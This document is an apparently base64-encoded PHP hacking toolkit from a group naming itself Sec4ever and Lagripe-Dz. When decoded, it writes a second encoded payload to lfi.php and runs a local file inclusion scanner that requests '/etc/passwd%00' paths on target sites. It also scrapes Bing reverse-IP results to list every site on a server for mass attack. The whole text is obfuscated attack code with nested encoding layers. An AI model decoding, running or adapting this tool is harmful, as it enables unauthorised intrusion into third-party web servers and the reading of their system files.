NNU2s2SWlNZ1RtOTBJRVp2ZFc1a0lEb2cNCiAgICBJaTVqYjJ4dmNpZ2tkWEpzTERBcE93cGxZMmh2SUNJOEwzUmtQand2ZEhJK0lqc0tabXgxYzJnb0tUdG1iSFZ6YUNncE93b0tmUXBsDQogICAgWTJodklDSUtQSFJ5UGp4MFpDQmhiR2xuYmoxalpXNTBaWEkrUEdJK09qb2dVMk5oYmlCR2FXNXBjMmhsWkNBNk9qd3ZZajQ4TDNSaw0KICAgIFBqd3ZkSEkrQ2p3dmRHRmliR1UrQ2p4b2NpQjNhV1IwYUQweU55VStDaUk3Q2dwOWZRcHpZMkZ1S0NrN0NncG1kVzVqZEdsdmJpQmoNCiAgICBiMnh2Y2lna2RYSnNMQ1J0TUdSbEtYc0tJQ0J5WlhSMWNtNGdLQ1J0TUdSbElEMDlJREFwSUQ4Z0lqeG1iMjUwSUdOdmJHOXlQWEpsDQogICAgWkQ0a2RYSnNQQzltYjI1MFBpSTZJanhoSUdoeVpXWTlKSFZ5YkQ0OFptOXVkQ0JqYjJ4dmNqMW5jbVZsYmo0a2RYSnNQQzltYjI1MA0KICAgIFBqd3ZZVDRpT3dwOUNncG1kVzVqZEdsdmJpQnNabWtvSkhOcGRHVXBleUFLSkhOcGRHVWdQU0JmUm1sNEtDUnphWFJsS1RzS0pHMWgNCiAgICBjbXR6SUQwZ0ltWmhhV3hsWkNCMGJ5QnZjR1Z1SUhOMGNtVmhiWHhrWVdWdGIyNGlPd3BwWmlod2NtVm5YMjFoZEdOb0tDSXZKRzFoDQogICAgY210ekwya2lMR1I2WTNWeWJDZ2tjMmwwWlM0bkwyVjBZeTh2Y0dGemMzZGtKVEF3Snl3d0xEQXNNQ2twS1hzS2NtVjBkWEp1SUNSeg0KICAgIGFYUmxMaWN2WlhSakx5OXdZWE56ZDJRbE1EQW5Pd3A5Wld4elpYc0tjbVYwZFhKdUlIQnlaV2RmYldGMFkyZ29JaThrYldGeWEzTXYNCiAgICBhU0lzWkhwamRYSnNLQ1J6YVhSbExpZGZYMlI2WDE4bkxEQXNNQ3d3S1NrZ1B5QWtjMmwwWlM0blgxOWtlbDlmSnpwbVlXeHpaVHNLDQogICAgZlNBS2ZRb0tablZ1WTNScGIyNGdYMFpwZUNna2MybDBaU2w3SUhCeVpXZGZiV0YwWTJoZllXeHNLQ0lqS0M0cVB5ay9LQzRxUHlrOQ0KICAgIEtDNHFQeWtqSWl3a2MybDBaU3drY21WektUc2djbVYwZFhKdUlDUnlaWE5iTWwxYk1GMHVJajBpT3lCOUNncG1kVzVqZEdsdmJpQnoNCiAgICBZMkZ1S0NsN0tFQmpiM1Z1ZENoQVpYaHdiRzlrWlNnbmFYQW5MRUJwYlhCc2IyUmxLRUJtYVd4bEtGOWZSa2xNUlY5ZktTa3BLU0U5DQogICAgSURFNEtTQS9RSFZ1YkdsdWF5aGZYMFpKVEVWZlh5azZJaUk3ZlFvS1puVnVZM1JwYjI0Z1kyaGxZMnRwY0Nna2FYQXBld3B5WlhSMQ0KICAgIGNtNG9jSEpsWjE5dFlYUmphQ2dpTDF4a2V6RXNNMzFjTGx4a2V6RXNNMzFjTGx4a2V6RXNNMzFjTGx4a2V6RXNNMzB2SWl3Z0pHbHcNCiAgICBLVDA5TUNrZ1B5Qm1ZV3h6WlRwMGNuVmxPd3A5Q2dvaklHTjFjbXdnYjNCMGFXOXVjd29LWm5WdVkzUnBiMjRnUkhwRFZWSk1LQ1IxDQogICAgY213c0pHTnZiMnRwWlY5eVpXRmtMQ1JqYjI5cmFXVmZkM0pwZEdVc0pGQlBVMVJ6S1hzS0NpUmpkWEpzUFdOMWNteGZhVzVwZENncA0KICAgIE93cGpkWEpzWDNObGRHOXdkQ2drWTNWeWJDeERWVkpNVDFCVVgxSkZWRlZTVGxSU1FVNVRSa1ZTTERFcE93cGpkWEpzWDNObGRHOXcNCiAgICBkQ2drWTNWeWJDeERWVkpNVDFCVVgxVlNUQ3drZFhKc0tUc0tLQ1JqYjI5cmFXVmZjbVZoWkNrZ1B5QmpkWEpzWDNObGRHOXdkQ2drDQogICAgWTNWeWJDeERWVkpNVDFCVVgwTlBUMHRKUlVaSlRFVXNaMlYwWTNka0tDa3VKeTlqYjI5cmFXVXVkSGgwSnlrNklpSTdDaWdrWTI5dg0KICAgIGEybGxYM2R5YVhSbEtTQS9JR04xY214ZmMyVjBiM0IwS0NSamRYSnNMRU5WVWt4UFVGUmZRMDlQUzBsRlNrRlNMR2RsZEdOM1pDZ3ANCiAgICBMaWN2WTI5dmEybGxMblI0ZENjcE9pSWlPd3BqZFhKc1gzTmxkRzl3ZENna1kzVnliQ3hEVlZKTVQxQlVYMVZUUlZKQlIwVk9WQ3duDQogICAgVFc5NmFXeHNZUzgxTGpBZ0tGZHBibVJ2ZDNNZ1RsUWdOUzR4T3lCeWRqb3lMakF1TVNrZ1IyVmphMjh2TWpBeE1EQXhNREVnUm1seQ0KICAgIFpXWnZlQzgwTGpBdU1TQkVla05WVWt3Z1BTa25LVHNLWTNWeWJGOXpaWFJ2Y0hRb0pHTjFjbXdzUTFWU1RFOVFWRjlHVDB4TVQxZE0NCiAgICBUME5CVkVsUFRpd3hLVHNLYVdZb2FYTmZZWEp5WVhrb0pGQlBVMVJ6S1NsN0NtTjFjbXhmYzJWMGIzQjBLQ1JqZFhKc0xFTlZVa3hQDQogICAgVUZSZlVFOVRWQ3d4S1RzS1kzVnliRjl6WlhSdmNIUW9KR04xY213c1ExVlNURTlRVkY5UVQxTlVSa2xGVEVSVExDUlFUMU5VY3lrNw0KICAgIENuMEtZM1Z5YkY5elpYUnZjSFFvSkdOMWNtd3NRMVZTVEU5UVZGOVVTVTFGVDFWVUxEVXBPd29LSkdWNFpXTTlZM1Z5YkY5bGVHVmoNCiAgICBLQ1JqZFhKc0tUc0tZM1Z5YkY5amJHOXpaU2drWTNWeWJDazdDbkpsZEhWeWJpQWtaWGhsWXpzS2ZRb0tJeUJpYVc1bklHTnNZWE56DQogICAgSUN3c0NncGpiR0Z6Y3lCemMxOWlhVzVuZXdvZ0lBb2dJSEIxWW14cFl5Qm1kVzVqZEdsdmJpQnpaV0Z5WTJnb0pIZG9kQ3drZFhKcw0KICAgIFgyMXZaR1VwZXlBdkx5QWtkMmgwSUQwZ1BpQnpaV0Z5WTJnZ0lDd2dKSFZ5YkY5dGIyUmxQVEVnUFQ0Z1kyeGxZVzRnZFhKc0lDaG8NCiAgICBkSFJ3T2k4dmMybDBaUzUwYkdRdktTQWtkWEpzWDIxdlpHVTlNQ0E5UGlCdWIzUWdZMnhsWVc0Z0tHaDBkSEE2THk5emFYUmxMblJrDQogICAgYkM5d1lXZGxQV2R2YjJkc1pTa0tJQ0FLSUNBa2QyaDBJRDBnYzNSeVgzSmxjR3hoWTJVb0lpQWlMQ0lySWl3a2QyaDBLVHNLSUNBaw0KICAgIGJuQmhaMlZ6SUQwZ05UQXdNREE3Q2lBZ0pHNXdZV2RsSUQwZ01Uc0tJQ0FrWVd4c1RHbHVhM01nUFNCaGNuSmhlU2dwT3dvS0lDQjMNCiAgICBhR2xzWlNna2JuQmhaMlVnUEQwZ0pHNXdZV2RsY3lrZ0NpQWdleUFLQ1NSamFDQTlJR04xY214ZmFXNXBkQ2dwT3dvZ0lDQWdZM1Z5DQogICAgYkY5elpYUnZjSFFvSkdOb0xDQkRWVkpNVDFCVVgxVlNUQ3dnSjJoMGRIQTZMeTkzZDNjdVltbHVaeTVqYjIwdmMyVmhjbU5vUDNFOQ0KICAgIEp5NGtkMmgwTGljbVptbHljM1E5Snk0a2JuQmhaMlVwT3dvSlkzVnliRjl6WlhSdmNIUW9KR05vTENCRFZWSk1UMUJVWDBoRlFVUkYNCiAgICBVaXdnTVNrN0NnbGpkWEpzWDNObGRHOXdkQ2drWTJnc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93b0pZM1Z5DQogICAgYkY5elpYUnZjSFFvSkdOb0xDQkRWVkpNVDFCVVgwTlBUazVGUTFSVVNVMUZUMVZVTENBMUtUc0tDV04xY214ZmMyVjBiM0IwS0NSag0KICAgIGFDd2dRMVZTVEU5UVZGOVNSVVpGVWtWU0xDQW5hSFIwY0RvdkwzZDNkeTVpYVc1bkxtTnZiUzhuS1RzS0NXTjFjbXhmYzJWMGIzQjANCiAgICBLQ1JqYUN3Z1ExVlNURTlRVkY5VlUwVlNRVWRGVGxRc0lDZE5iM3BwYkd4aEx6VXVNQ0FvVjJsdVpHOTNjenNnVlRzZ1YybHVaRzkzDQogICAgY3lCT1ZDQTFMakU3SUdWdUxWVlRPeUJ5ZGpveExqa3VNQzQ0S1NCSFpXTnJieTh5TURBNU1ETXlOakE1SUVacGNtVm1iM2d2TXk0dw0KICAgIExqZ25LVHNLQ1NSeVpYTjFiSFJiSjBWWVJTZGRJRDBnWTNWeWJGOWxlR1ZqS0NSamFDazdDZ2trY21WemRXeDBXeWRGVWxJblhTQTkNCiAgICBJR04xY214ZlpYSnliM0lvSkdOb0tUc0tDV04xY214ZlkyeHZjMlVvSkdOb0tUc0tJQW9KYVdZZ0tDRWtjbVZ6ZFd4MFd5ZEZVbEluDQogICAgWFNrS0NYc0tDUWx3Y21WblgyMWhkR05vWDJGc2JDZ25LRHhrYVhZZ1kyeGhjM005SW5OaVgzUnNjM1FpUGk0cVBHZ3pQaTRxUEdFZw0KICAgIGFISmxaajBpS0M0cUtTSXVLajRvTGlvcFBDOWhQaTRxUEM5b016NHVLand2WkdsMlBpbHphVlVuTENBa2NtVnpkV3gwV3lkRldFVW4NCiAgICBYU3dnSkdacGJtUnNhVzVyS1RzS0NRa0tDUWxtYjNJZ0tDUnBJRDBnTURzZ0pHa2dQQ0JqYjNWdWRDZ2tabWx1Wkd4cGJtdGJNVjBwDQogICAgT3lBa2FTc3JLUW9KQ1FvSkNTUnRiMlJsSUQwZ0tDUjFjbXhmYlc5a1pTQTlQU0F4S1NBL0lDUmhiR3hNYVc1cmMxdGRJRDBnSkhSbw0KICAgIGFYTXRQbU5zWldGdVgzVnliQ2drWm1sdVpHeHBibXRiTVYxYkpHbGRLU0E2SUNSaGJHeE1hVzVyYzF0ZElEMGdKR1pwYm1Sc2FXNXINCiAgICBXekZkV3lScFhUc0tDZ2tKSkc1d1lXZGxJRDBnSkc1d1lXZGxJQ3NnTVRBN0Nna0phV1lnS0hCeVpXZGZiV0YwWTJnb0p5aG1hWEp6DQogICAgZEQwbklDNGdKRzV3WVdkbElDNGdKeVpoYlhBcGMybFZKeXdnSkhKbGMzVnNkRnNuUlZoRkoxMHNJQ1JzYVc1cmMzVnBkaWtnUFQwZw0KICAgIE1Da2dDZ2tKQ1dKeVpXRnJPd2tKQ2dsOUNpQWdJQ0JsYkhObENna0pZbkpsWVdzN0NpQWdJQ0I5Q2drS0NXbG1LR052ZFc1MEtDUmgNCiAgICBiR3hNYVc1cmN5a2dQVDBnTUNsN0NnbGthV1VvSWlNZ1RtOTBhR2x1WnlCR2IzVnVaQ0lwT3dvSmZXVnNjMlY3Q2dsbWIzSmxZV05vDQogICAgSUNna1lXeHNUR2x1YTNNZ1lYTWdKR3RySUQwK0lDUjJkaWw3SUNSaGJHeEViVzV6VzEwZ1BTQWtkblk3SUgwS0NYSmxkSFZ5YmlCaA0KICAgIGNuSmhlVjkxYm1seGRXVW9KR0ZzYkVSdGJuTXBPd29KZlFvSmZRb0pjSFZpYkdsaklHWjFibU4wYVc5dUlHTnNaV0Z1WDNWeWJDZ2sNCiAgICBlQ2w3SUNSNlBYQmhjbk5sWDNWeWJDZ2tlQ2s3SUhKbGRIVnliaUFrZWxzbmMyTm9aVzFsSjEwdUlqb3ZMeUl1SkhwYkoyaHZjM1FuDQogICAgWFM0aUx5STdPeUI5Q2dsOUNnby9QZ284WTJWdWRHVnlQZ284WVNCb2NtVm1QU0pvZEhSd09pOHZkM2QzTGxObFl6UmxkbVZ5TG1Odg0KICAgIGJTOGlQbmQzZHk1VFpXTTBaWFpsY2k1amIyMDhMMkUrSUh3Z1BHRWdhSEpsWmowaWFIUjBjRG92TDNkM2R5NU1ZV2R5YVhCbExVUjYNCiAgICBMbTl5Wnk4aVBncDNkM2N1VEdGbmNtbHdaUzFFZWk1dmNtYzhMMkUrUEdKeVBpQkJiR2RsY21saElESnZNVzh0TW04eE1RbzhMMk5sDQogICAgYm5SbGNqNEtDand2WW05a2VUNEtQQzlvZEcxc1BnPT0nOw0KICAgICANCiAgICAkZmlsZSA9IGZvcGVuKCJsZmkucGhwIiAsIncrIik7DQogICAgJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkbGZpcHJpdjgpKTsNCiAgICBmY2xvc2UoJGZpbGUpOw0KICAgICAgIGVjaG8gIjxpZnJhbWUgc3JjPWxmaS5waHAgd2lkdGg9MTAwJSBoZWlnaHQ9NjQwIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7DQogICAgPz4NCiAgICA8Pw0KICAgICANCiAgICAgICB9DQogICAgICAgIGlmKCAkcmVkID09ICJiaW5nbyIgKSB7DQogICAgIA0KICAgID8+DQogICAgPD8NCiAgICAkYXNkYXMgPSAnUEQ5d2FIQUtMeW85UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBYd0tJQ0FnSUNBZw0KICAgIElDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lId0tJeUFnVkdoaGRDQktkWE4wSUZSb015QS8NCiAgICBJRXhsZENCWmIzVWdTMjV2ZHlCVWFHRjBKM29nSVNBZ0lId0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnDQogICAgSUNBZ0lDQWdJQ0FnSUNBZ0lId0tJeUFnSUNBZ0lDQWdJQ0FnSUNCV0lDRWdkaUF6SUh3Z0lFRnlZV0lnSUNBZ0lDQWdJQ0FnSUNBZw0KICAgIElId0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lId0tJeUFnSUNBZ1ZHZ3oNCiAgICBJRTFOUVNBc0lHMUZaekFnTENCRWNpNVRiR2xNYmxRZ1NHbHNUQ0FnSUNBZ0lId0tJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnDQogICAgSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lId0tJeUFnSUNBZ0lDQWdJRWh2YldVZ09pQjNkM2N1VTJWak5FVjJaWEl1WTI5dA0KICAgIElDQWdJQ0FnSUNBZ0lId0tQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOUtpOEsNCiAgICBQejRLQ2p4b2RHMXNQZ284YUdWaFpENEtQSFJwZEd4bFBsUm9NeUJOVFVFZ2ZDQm5NSFFnWVV4TUlGTmxjblpsY2lCWFpXSW5laUJDDQogICAgZVNCVFkzSnBjSFFnSVNBOEwzUnBkR3hsUGdvOGJHbHVheUJ5Wld3OUluTm9iM0owWTNWMElHbGpiMjRpSUdoeVpXWTlKMmgwZEhBNg0KICAgIEx5OTBhRE50YldFdVkyOXRMMmx0WVdkbGVpOXplV2xqTG1kcFppY2dMejRLUEcxbGRHRWdhSFIwY0MxbGNYVnBkajFEYjI1MFpXNTANCiAgICBMVlI1Y0dVZ1kyOXVkR1Z1ZEQxMFpYaDBMMmgwYld3N0lHTm9ZWEp6WlhROVZWUkdMVGcrQ2p3L2NHaHdDaVJ6YUROc2JFTnZiRzl5DQogICAgSUQwZ0lpTTVPVEF3TURBaU93cGxZMmh2SUVOVFV5Z2tjMmd6Ykd4RGIyeHZjaWtLUHo0S1BDOW9aV0ZrUGdvOElTMHRWRzl2VENkYQ0KICAgIElGTjBZWEowSUVsT1JrOHRMVDRLUEdObGJuUmxjajRLUEhBK1BITndZVzRnYkdGdVp6MGlaVzR0ZFhNaVBqeG1iMjUwSUdOdmJHOXkNCiAgICBQU0lqUmtZd01EQXdJajVVYURNZ1RVRkJJRnNnVTJOaGJtNHpjaUJUWlhKMlpYSWdYU0JVYjI5c0ozb2dQQzltYjI1MFBnbzhMM053DQogICAgWVc0K1BDOXdQZ284Wm05dWRDQnphWHBsUFNJMElqNDhabTl1ZENCamIyeHZjajBpSXpBd01EQXdNQ0krU1c1elpYSjBJQ0lnUEdadg0KICAgIGJuUWdZMjlzYjNJOUlpTkdSakF3TURBaVBrbFFQQzltYjI1MFBpQWlJRk5sY25abGNpQXNJR0Z1WkNCT1lXMWxJRzlHSUNJZ0NqeG0NCiAgICBiMjUwSUdOdmJHOXlQU0lqUmtZd01EQXdJajVUWTNKcGNIUThMMlp2Ym5RK0lDSThMMlp2Ym5RK1BDOW1iMjUwUGp3dmNENEtQR1p2DQogICAgY20wZ1pXNWpkSGx3WlQwaWJYVnNkR2x3WVhKMEwyWnZjbTB0WkdGMFlTSWdiV1YwYUc5a1BTSlFUMU5VSWo0S1BIQStQSE53WVc0Zw0KICAgIGJHRnVaejBpWlc0dGRYTWlQaVp1WW5Od096d3ZjM0JoYmo0OEwzUmtQand2ZEhJK1BIUnlQangwWkNCb1pXbG5hSFE5SnpRMUp5QmoNCiAgICBiMnh6Y0dGdVBTY3lKejQ4YVc1d2RYUWdkSGx3WlQwaWRHVjRkQ0lnYm1GdFpUMGlaRzl5YXlJZ2RtRnNkV1U5SWp3L2NHaHdJR2xtDQogICAgS0NSZlVFOVRWQ2w3WldOb2J5Qm1hV3gwWlhJb0pGOVFUMU5VV3lka2IzSnJKMTBwTzMxbGJITmxlMlZqYUc4Z0ltbHdPakV5Tnk0dw0KICAgIExqQXVNU0k3ZlNBL1BpSWdjMmw2WlQwaU56QWlJQzgrQ2p4cGJuQjFkQ0IwZVhCbFBTZHpkV0p0YVhRbklIWmhiSFZsUFNkbk1IUWcNCiAgICBhWFFnSVNjZ2JtRnRaVDBuVTJOaGJpYytDand2ZEdRK1BDOTBjajQ4TDNSaFlteGxQand2Y0Q0S1BDOW1iM0p0UGdvOElTMHRWRzl2DQogICAgVENkYUlFVnVaQ0JKVGtaUExTMCtDand2WTJWdWRHVnlQZ284UDNCb2NBb0taV05vYnlBaUNqeGpaVzUwWlhJK1BIUmhZbXhsUGlJNw0KICAgIENtbG1LQ1JmVUU5VFZGc25VMk5oYmlkZEtRcDdDaUFnSUNBa1lYSnlZWGtnUFNCaGNuSmhlU2dwT3dvZ0lDQWdKR1J2Y21zZ1BTQm0NCiAgICBhV3gwWlhJb2RISnBiU2drWDFCUFUxUmJKMlJ2Y21zblhTa3BPd29nSUNBZ1pXTm9ieUFpUEhONVBpQkViM0pyT2lCYklpNGtaRzl5DQogICAgYXk0aVhUeGljajRpT3dvZ0lDQWdKSEJoWjJWT2RXMGdQU0F3T3dvZ0lDQWdkMmhwYkdVb2RISjFaU0I4ZkNBa2NHRm5aVTUxYlNBOA0KICAgIFBUVXBDaUFnSUNCN0NpQWdJQ0FnSUNBZ0pHSnBibWNnUFNBaWFIUjBjRG92TDNkM2R5NWlhVzVuTG1OdmJTOXpaV0Z5WTJnL2NUMGkNCiAgICBMbk4wY2w5eVpYQnNZV05sS0NJZ0lpd2lLeUlzSkdSdmNtc3BMaUltWjI4OUptWnBiSFE5WVd4c0ptWnBjbk4wUFNJdUpIQmhaMlZPDQogICAgZFcwdUlpSTdDaUFnSUNBZ0lDQWdhV1lvSVhCeVpXZGZiV0YwWTJnb0lpOU9ieUJ5WlhOMWJIUnpJR1p2ZFc1a0lHWnZjaThpTEVOdg0KICAgIGJtNWxZM1JmU0c5emRDZ2tZbWx1WnlrcEtRb2dJQ0FnSUNBZ0lIc0tJQ0FnSUNBZ0lDQWdJQ0FnY0hKbFoxOXRZWFJqYUY5aGJHd28NCiAgICBJaTg4YURNK1BHRWdhSEpsWmoxY0lpZ3VLajhwWENJK0x5SXNRMjl1Ym1WamRGOUliM04wS0NSaWFXNW5LU3drYzJsMFpYTXBPd29nDQogICAgSUNBZ0lDQWdJQ0FnSUNCcFppaGpiM1Z1ZENna2MybDBaWE5iTVYwcFBUMHdLUW9nSUNBZ0lDQWdJQ0FnSUNCN2NtVjBkWEp1SUdaaA0KICAgIGJITmxPMzBLSUNBZ0lDQWdJQ0FnSUNBZ1ptOXlLQ1JwUFRBZ095QWthU0E4SUdOdmRXNTBLQ1J6YVhSbGMxc3hYU2s3Skdrckt5a0sNCiAgICBJQ0FnSUNBZ0lDQWdJQ0FnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSkhOcGRHVWdQU0J6ZEhKZmNtVndiR0ZqWlNoaGNuSmhlU2dpDQogICAgYUhSMGNEb3ZMeUlzSW1oMGRIQnpPaTh2SWl3aWQzZDNMaUlwTENJaUxDUnphWFJsYzFzeFhWc2thVjBwT3dvZ0lDQWdJQ0FnSUNBZw0KICAgIElDQWdJQ0FnSkhOcGRHVWdQU0J6ZFdKemRISW9KSE5wZEdVc01DeHpkSEp3YjNNb0pITnBkR1VzSWk4aUxEQXBLVHM3Q2lBZ0lDQWcNCiAgICBJQ0FnSUNBZ0lDQWdJQ0JwWmlnaGFXNWZZWEp5WVhrb0pITnBkR1VzSkdGeWNtRjVLU2tLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSHNLDQogICAgSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNCbFkyaHZJQ1J6YVhSbExpSThZbklnTHo0aU93b2dJQ0FnSUNBZ0lDQWdJQ0FnSUNBZw0KICAgIElDQWdJR0Z5Y21GNVgzQjFjMmdvSkdGeWNtRjVMQ1J6YVhSbEtUc2dJQ0FnQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0I5Q2lBZ0lDQWcNCiAgICBJQ0FnSUNBZ0lDQWdJQ0JtYkhWemFDZ3BPMjlpWDJac2RYTm9LQ2s3Q2lBZ0lDQWdJQ0FnSUNBZ0lIMEtJQ0FnSUNBZ0lDQWdJQ0FnDQogICAgSkhCaFoyVk9kVzBnS3owZ01UQTdDaUFnSUNBZ0lDQWdmUW9nSUNBZ0lDQWdJR1ZzYzJWN1pXTm9ieUFpUEhONVBrNXZJRkpsYzNWcw0KICAgIGRITWdJU0VnTGp3dmMzaytJanR2WWw5bWJIVnphQ2dwTzJac2RYTm9LQ2s3Y21WMGRYSnVJR1poYkhObE8zMEtJQ0FnSUgwS0lDQWcNCiAgICBJQzh2SkdGeWNtRjVJRDBnWVhKeVlYbGZkVzVwY1hWbEtDUjFVMmwwWlhNcE93b2dJQ0FnTHk5bWIzSW9KR2s5TURza2FUeGpiM1Z1DQogICAgZENna1lYSnlZWGtwT3lScEt5c3BlMlZqYUc4Z0pHRnljbUY1V3lScFhTNGlQR0p5SUM4K0lqdDlDbjBLWldOb2J5QWlQQzkwWVdKcw0KICAgIFpUNDhMMk5sYm5SbGNqNGlPd29LWm5WdVkzUnBiMjRnUTI5dWJtVmpkRjlJYjNOMEtDUjFjbXdwSUFwN0NpQWdJQ0FrWTJnZ1BTQmoNCiAgICBkWEpzWDJsdWFYUW9LVHNLSUNBZ0lHTjFjbXhmYzJWMGIzQjBLQ1JqYUN3Z1ExVlNURTlRVkY5R1QweE1UMWNzSURBcE93b2dJQ0FnDQogICAgWTNWeWJGOXpaWFJ2Y0hRb0pHTm9MQ0JEVlZKTVQxQlVYMGhGUVVSRlVpd2dNU2s3Q2lBZ0lDQmpkWEpzWDNObGRHOXdkQ2drWTJncw0KICAgIElFTlZVa3hQVUZSZlZWSk1MQ0FrZFhKc0tUc0tJQ0FnSUdOMWNteGZjMlYwYjNCMEtDUmphQ3dnUTFWU1RFOVFWRjlTUlZSVlVrNVUNCiAgICBVa0ZPVTBaRlVpd2dNU2s3Q2lBZ0lDQmpkWEpzWDNObGRHOXdkQ2drWTJnc0lFTlZVa3hQVUZSZlZFbE5SVTlWVkN3Z016QXBPd29nDQogICAgSUNBZ0pHUmhkR0VnUFNCamRYSnNYMlY0WldNb0pHTm9LVHNLSUNBZ0lHbG1LQ1JrWVhSaEtTQjdjbVYwZFhKdUlDUmtZWFJoTzMwZw0KICAgIENpQWdJQ0JsYkhObElIdHlaWFIxY200Z01EdDlDbjBLWm5WdVkzUnBiMjRnUTFOVEtDUnphRE5zYkVOdmJHOXlLUXA3Q2lBZ0lDQWsNCiAgICBZM056SUQwZ0lDSUtJQ0FnSUR4emRIbHNaVDRLSUNBZ0lFSlBSRmtLSUNBZ0lIc0tJQ0FnSUNBZ0lDQkdUMDVVTFVaQlRVbE1XVG9nDQogICAgVm1WeVpHRnVZVHNnQ2lBZ0lDQWdJQ0FnYldGeVoybHVPaUF5T3dvZ0lDQWdJQ0FnSUdOdmJHOXlPaUFqWTJOalkyTmpPd29nSUNBZw0KICAgIElDQWdJR0poWTJ0bmNtOTFibVF0WTI5c2IzSTZJQ05HUmtZN0NpQWdJQ0I5Q2lBZ0lDQnplU0FnQ2lBZ0lDQjdDaUFnSUNBZ0lDQWcNCiAgICBZMjlzYjNJNklpNGtjMmd6Ykd4RGIyeHZjaTRpT3dvZ0lDQWdJQ0FnSUdadmJuUXRjMmw2WlRvM2NIUTdDaUFnSUNBZ0lDQWdabTl1DQogICAgZEMxM1pXbG5hSFE2SUdKdmJHUTdDaUFnSUNCOUNpQWdJQ0FqUW05NENpQWdJQ0I3Q2lBZ0lDQmpiMnh2Y2pvaUxpUnphRE5zYkVOdg0KICAgIGJHOXlMaUk3Q2lBZ0lDQm1iMjUwTFhOcGVtVTZNVFJ3ZURzS0lDQWdJR0poWTJ0bmNtOTFibVF0WTI5c2IzSTZJekF3TURzS0lDQWcNCiAgICBJR1p2Ym5RdGQyVnBaMmgwT21KdmJHUTdDaUFnSUNCM2FXUjBhRG8xTURCd2VEc0tJQ0FnSUgwS0lDQWdJSFJ5SUFvZ0lDQWdld29nDQogICAgSUNBZ1FrOVNSRVZTTFZKSlIwaFVPaUFnSTJOalkyTmpZeUF4Y0hnZ2MyOXNhV1E3Q2lBZ0lDQkNUMUpFUlZJdFZFOVFPaUFnSUNBag0KICAgIFkyTmpZMk5qSURGd2VDQnpiMnhwWkRzS0lDQWdJRUpQVWtSRlVpMU1SVVpVT2lBZ0lDTmpZMk5qWTJNZ01YQjRJSE52Ykdsa093b2cNCiAgICBJQ0FnUWs5U1JFVlNMVUpQVkZSUFRUb2dJMk5qWTJOall5QXhjSGdnYzI5c2FXUTdDaUFnSUNCamIyeHZjam9nSTJabVptWm1aanNLDQogICAgSUNBZ0lIMEtJQ0FnSUhSa0lBb2dJQ0FnZXdvZ0lDQWdRazlTUkVWU0xWSkpSMGhVT2lBZ0kyTmpZMk5qWXlBeGNIZ2djMjlzYVdRNw0KICAgIENpQWdJQ0JDVDFKRVJWSXRWRTlRT2lBZ0lDQWpZMk5qWTJOaklERndlQ0J6YjJ4cFpEc0tJQ0FnSUVKUFVrUkZVaTFNUlVaVU9pQWcNCiAgICBJQ05qWTJOalkyTWdNWEI0SUhOdmJHbGtPd29nSUNBZ1FrOVNSRVZTTFVKUFZGUlBUVG9nSTJOalkyTmpZeUF4Y0hnZ2MyOXNhV1E3DQogICAgQ2lBZ0lDQmpiMnh2Y2pvZ0kyTmpZMk5qWXpzS0lDQWdJSDBLSUNBZ0lIUmhZbXhsSUFvZ0lDQWdld29nSUNBZ1FrOVNSRVZTT2lBZw0KICAgIEkyVmxaV1ZsWlNBZ2IzVjBjMlYwT3dvZ0lDQWdRa0ZEUzBkU1QxVk9SQzFEVDB4UFVqb2dJekF3TURBd01Ec0tJQ0FnSUdOdmJHOXkNCiAgICBPaUFqWTJOalkyTmpPd29nSUNBZ2ZRb2dJQ0FnYVc1d2RYUWdDaUFnSUNCN0NpQWdJQ0JDVDFKRVJWSXRVa2xIU0ZRNklDQWlMaVJ6DQogICAgYUROc2JFTnZiRzl5TGlJZ01YQjRJSE52Ykdsa093b2dJQ0FnUWs5U1JFVlNMVlJQVURvZ0lDQWdJaTRrYzJnemJHeERiMnh2Y2k0aQ0KICAgIElERndlQ0J6YjJ4cFpEc0tJQ0FnSUVKUFVrUkZVaTFNUlVaVU9pQWdJQ0l1SkhOb00yeHNRMjlzYjNJdUlpQXhjSGdnYzI5c2FXUTcNCiAgICBDaUFnSUNCQ1QxSkVSVkl0UWs5VVZFOU5PaUFpTGlSemFETnNiRU52Ykc5eUxpSWdNWEI0SUhOdmJHbGtPd29nSUNBZ1FrRkRTMGRTDQogICAgVDFWT1JDMURUMHhQVWpvZ0l6TXpNek16TXpzS0lDQWdJR1p2Ym5RNklEbHdkQ0IwWVdodmJXRTdDaUFnSUNCamIyeHZjam9nSTJabQ0KICAgIFptWm1aanNLSUNBZ0lIMEtJQ0FnSUhObGJHVmpkQ0FLSUNBZ0lIc0tJQ0FnSUVKUFVrUkZVaTFTU1VkSVZEb2dJQ05tWm1abVptWWcNCiAgICBNWEI0SUhOdmJHbGtPd29nSUNBZ1FrOVNSRVZTTFZSUFVEb2dJQ0FnSXprNU9UazVPU0F4Y0hnZ2MyOXNhV1E3Q2lBZ0lDQkNUMUpFDQogICAgUlZJdFRFVkdWRG9nSUNBak9UazVPVGs1SURGd2VDQnpiMnhwWkRzS0lDQWdJRUpQVWtSRlVpMUNUMVJVVDAwNklDTm1abVptWm1ZZw0KICAgIE1YQjRJSE52Ykdsa093b2dJQ0FnUWtGRFMwZFNUMVZPUkMxRFQweFBVam9nSXpBd01EQXdNRHNLSUNBZ0lHWnZiblE2SURsd2RDQjANCiAgICBZV2h2